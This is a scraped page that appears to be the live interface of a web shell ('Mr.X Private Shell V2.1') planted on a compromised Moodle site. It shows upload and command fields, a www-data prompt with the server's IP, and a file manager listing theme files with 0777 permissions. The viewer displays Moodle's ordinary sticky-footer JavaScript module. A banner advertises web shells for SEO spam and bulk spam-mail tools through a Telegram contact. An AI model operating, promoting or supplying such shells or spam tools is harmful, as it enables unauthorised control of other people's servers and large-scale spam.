__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Sticky footer module.
 *
 * @module     theme_boost/sticky-footer
 * @copyright  2022 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Pending from 'core/pending';
import {registerManager, init as defaultInit} from 'core/sticky-footer';

const SELECTORS = {
    STICKYFOOTER: '.stickyfooter',
    PAGE: '#page',
};

const CLASSES = {
    HASSTICKYFOOTER: 'hasstickyfooter',
};

let initialized = false;

let previousScrollPosition = 0;

let enabled = false;

/**
 * Scroll handler.
 * @package
 */
const scrollSpy = () => {
    if (!enabled) {
        return;
    }
    // Ignore scroll if page size is not small.
    if (document.body.clientWidth >= 768) {
        return;
    }
    // Detect if scroll is going down.
    let scrollPosition = window.scrollY;
    if (scrollPosition > previousScrollPosition) {
        hideStickyFooter();
    } else {
        showStickyFooter();
    }
    previousScrollPosition = scrollPosition;
};

/**
 * Return if the sticky footer must be enabled by default or not.
 * @returns {Boolean} true if the sticky footer is enabled automatic.
 */
const isDisabledByDefault = () => {
    const footer = document.querySelector(SELECTORS.STICKYFOOTER);
    if (!footer) {
        return false;
    }
    return !!footer.dataset.disable;
};

/**
 * Show the sticky footer in the page.
 */
const showStickyFooter = () => {
    // We need some seconds to make sure the CSS animation is ready.
    const pendingPromise = new Pending('theme_boost/sticky-footer:enabling');
    const footer = document.querySelector(SELECTORS.STICKYFOOTER);
    const page = document.querySelector(SELECTORS.PAGE);
    if (footer && page) {
        document.body.classList.add(CLASSES.HASSTICKYFOOTER);
        page.classList.add(CLASSES.HASSTICKYFOOTER);
    }
    setTimeout(() => pendingPromise.resolve(), 1000);
};

/**
 * Hide the sticky footer in the page.
 */
const hideStickyFooter = () => {
    document.body.classList.remove(CLASSES.HASSTICKYFOOTER);
    const page = document.querySelector(SELECTORS.PAGE);
    page?.classList.remove(CLASSES.HASSTICKYFOOTER);
};

/**
 * Enable sticky footer in the page.
 */
export const enableStickyFooter = () => {
    enabled = true;
    showStickyFooter();
};

/**
 * Disable sticky footer in the page.
 */
export const disableStickyFooter = () => {
    enabled = false;
    hideStickyFooter();
};

/**
 * Initialize the module.
 */
export const init = () => {
    // Prevent sticky footer in behat.
    if (initialized || document.body.classList.contains('behat-site')) {
        defaultInit();
        return;
    }
    initialized = true;
    if (!isDisabledByDefault()) {
        enableStickyFooter();
    }

    document.addEventListener("scroll", scrollSpy);

    registerManager({
        enableStickyFooter,
        disableStickyFooter,
    });
};

Filemanager

Name Type Size Permission Actions
bootstrap Folder 0777
aria.js File 20.03 KB 0777
courseindexdrawercontrols.js File 2.75 KB 0777
drawer.js File 7.12 KB 0777
drawers.js File 27.19 KB 0777
footer-popover.js File 2.99 KB 0777
form-display-errors.js File 6.43 KB 0777
index.js File 939 B 0777
loader.js File 3.98 KB 0777
pending.js File 2.82 KB 0777
popover.js File 973 B 0777
sticky-footer.js File 3.49 KB 0777
toast.js File 963 B 0777
Filemanager